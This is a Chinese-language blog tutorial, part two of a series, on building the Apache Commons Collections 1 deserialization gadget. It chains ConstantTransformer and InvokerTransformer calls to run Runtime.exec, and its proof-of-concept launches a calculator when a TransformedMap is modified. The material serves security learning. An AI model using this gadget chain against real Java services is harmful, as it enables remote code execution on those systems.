java--CommomCollections1 入门学习--part2

上篇文章对Transformer有了一些基本的了解,学习了常用的构造payload的几个Transformer,但是对其利用可能还不是很了解,那么这篇文章就试着利用构造简单的payload。

我们最终要实现Runtime.getRuntime().exec(command),但反序列化漏洞的时候执行命令的方法一般都是反射执行,常用的反射执行方法:

Class run = Runtime.class;
Method method = run.getMethod("getRuntime");
Object obj =method.invoke(run);
Method method1 = run.getMethod("exec", String.class);
method1.invoke(obj,"open -a Calculator.app");

上面的代码应该很好理解,那么下面我们将它们加入到Transformer中,然后使用TransformedMap.decorate()方法执行一个map,然后使用put方法加入元素的时候触发计算器。

利用到了:

ChainedTransformer:将前一个的Transformer返回的结果作为下一个Transformer的参数传入。

ConstantTransformer:可以认为就是获取一个对象

InvokerTransformer:反射执行方法

那么我们先利用后两个Transformer构造一个Transformer链,然后使用ChainedTransformer将其连接执行。

首先

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator.app"})
        };

可能会遇到点问题:

比如:下面的new Class为啥是两个参数啊?上面反射的invoke()就一个参数啊!

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),

我不知道是不是就我一个人困惑,我也是休息了一天才知道的,我个人的理解是:

我们直接跟进invoke方法,看它的定义函数

 其中我们发现,它竟然需要传入两个参数,第一个是Object类型的,第二个是个可变长的Object类型的,相信在反射学习的时候也遇到过,对于这种类型的参数我们只需要在定义类型后加个[],转换成对应的数组即可实现对它的定义。

到这我们就应该理解为啥需要两个参数了,只给一个参数并不能确定我们所找的就是这个invoke方法。

同理,getMethod方法也是这样。然后我们继续,构造好了Transformer[],然后我们再构造一个ChainedTransformer将他们连接在一起。

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后新建一个map,然后就是正常操作了,那么贴一下全部代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class test {
    public static void main(String[] args)   {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator.app"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashmap = new HashMap();
        hashmap.put(1,1);
        Map map = TransformedMap.decorate(hashmap,chainedTransformer,null);
        System.out.println(map);
        map.put(1,2);

    }
}

再说一下其它的疑惑地方:
我在看构造Transformers的时候很难理解最后调用exec函数的时候,上面利用反射执行的写的较为繁琐,简单点获得Runtime的对象的话

Method method = Runtime.class.getMethod("getRuntime");
Object obj =method.invoke(Runtime.class);

执行到invoke之后我们会得到Runtime对象,可能是对 InvokerTransformer方法了解的不是和透彻,总想着还得得到exec方法。。。

仔细看了看InvokerTransformer的实现,发现它做了挺多的,那么当我们得到了Runtime对象之后,传入到InvokerTransformer中,且传入的参数为

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator.app"})

 捋一捋:

在ChainedTransformer中,我们可以把前一个Transformer中的输出作为后一个Transformer的输入,相当于ConstantTransformer将输入的Runtime.class,直接给了后面的InvokerTransformer作为InvokerTransformer.transtorm中的input参数,然后执行传入的方法,根据传入的参数类型然后执行。

        Method method = Runtime.class.getMethod("getRuntime");
        Object obj =method.invoke(Runtime.class);
        System.out.println(obj);
        System.out.println("----执行exec之前-----");
        System.out.println("------进入InvokerTransformer------");
        Class clazz = obj.getClass();
        System.out.println(clazz);
        Method method1 = clazz.getMethod("exec",String.class);
        System.out.println(method1);
        method1.invoke(obj,"open -a Calculator.app");


纠正之前的理解误区,原来构造反射的代码是这样的

Method method = Class.forName("java.lang.Runtime").getMethod("getRuntime");
Runtime run = (Runtime) method.invoke(null);
run.exec("open -a Calculator.app");

那这样的话构造的Transformer就很好理解了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值